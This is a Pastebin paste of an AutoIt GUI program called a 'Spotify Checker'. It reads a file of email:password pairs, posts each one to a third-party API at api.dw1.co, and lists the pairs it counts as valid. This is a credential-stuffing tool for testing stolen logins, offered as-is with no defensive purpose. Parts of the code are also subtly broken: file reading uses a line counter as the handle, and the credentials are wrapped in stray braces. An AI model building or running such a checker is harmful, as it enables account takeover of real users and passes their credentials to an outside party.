Advertisement
_KRONE_

help

Nov 20th, 2018
1,253
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 2.06 KB | None | 0 0
  1. #include <ButtonConstants.au3>
  2. #include <EditConstants.au3>
  3. #include <GUIConstantsEx.au3>
  4. #include <StaticConstants.au3>
  5. #include <WindowsConstants.au3>
  6. #include <MsgBoxConstants.au3>
  7. #include <Array.au3>
  8. #include <String.au3>
  9. #include <File.au3>
  10. #Region ### START Koda GUI section ### Form=
  11. $Form1 = GUICreate("Spotify Checker by KRONE#5141", 648, 275, -1262, -4)
  12. $Edit1 = GUICtrlCreateEdit("", 120, 0, 521, 273)
  13. GUICtrlSetData(-1, "")
  14. $L = GUICtrlCreateButton("Load", 8, 8, 105, 33)
  15. $S = GUICtrlCreateButton("Check", 8, 56, 105, 33)
  16. $LL = GUICtrlCreateLabel("Loaded:", 8, 104, 50, 17)
  17. $G = GUICtrlCreateLabel("Good:", 8, 136, 50, 17)
  18. GUISetState(@SW_SHOW)
  19. #EndRegion ### END Koda GUI section ###
  20. $HTTP_STATUS_OK = 200
  21. Func HttpPost($sURL, $sData = "")
  22. Local $oHTTP = ObjCreate("WinHttp.WinHttpRequest.5.1")
  23. $oHTTP.Open("POST", $sURL, False)
  24. If (@error) Then Return SetError(1, 0, 0)
  25. $oHTTP.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")
  26. $oHTTP.Send($sData)
  27. If (@error) Then Return SetError(2, 0, 0)
  28. If ($oHTTP.Status <> $HTTP_STATUS_OK) Then Return SetError(3, 0, 0)
  29. Return SetError(0, 0, $oHTTP.ResponseText)
  30. EndFunc
  31. While 1
  32.     $nMsg = GUIGetMsg()
  33.     Switch $nMsg
  34.         Case $GUI_EVENT_CLOSE
  35.             Exit
  36.          Case $L
  37.             Global $F = FileOpenDialog("File",@DesktopCommonDir,"Text Files(*.txt)")
  38.             $LI = _FileCountLines($F)
  39.             GUICtrlSetData($LL,"Loaded:"&String($LI))
  40.          Case $S
  41.             $i = 0
  42.             $GG = 0
  43.             Do
  44.             local $C = FileReadLine($i)
  45.             local $P = _StringBetween(String($C),":","")
  46.             local $U = _StringBetween(String($C),"",":")
  47.             Global $PA = _ArrayToString($P)
  48.             Global $US = _ArrayToString($U)
  49.             $R = HttpPost("https://api.dw1.co/spotify/v2/check","email={"&$US&"}&password={"&$PA&"}")
  50.             if $R = '{    "status": false,    "error": "Invalid `email` address."}' Then
  51.                ;nothing
  52.             Else
  53.              $GG = $GG + 1
  54.              GUICtrlSetData($G,"Good:"&$GG)
  55.              $rEAD = GUICtrlRead($Edit1)
  56.              GUICtrlSetData($Edit1,$rEAD&$US&":"&$PA&@CRLF)
  57.             EndIf
  58.             $i = $i + 1
  59.          until $i = _FileCountLines($F)
  60.          MsgBox(0,"KRONE#5141","Done")
  61.     EndSwitch
  62. WEnd
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement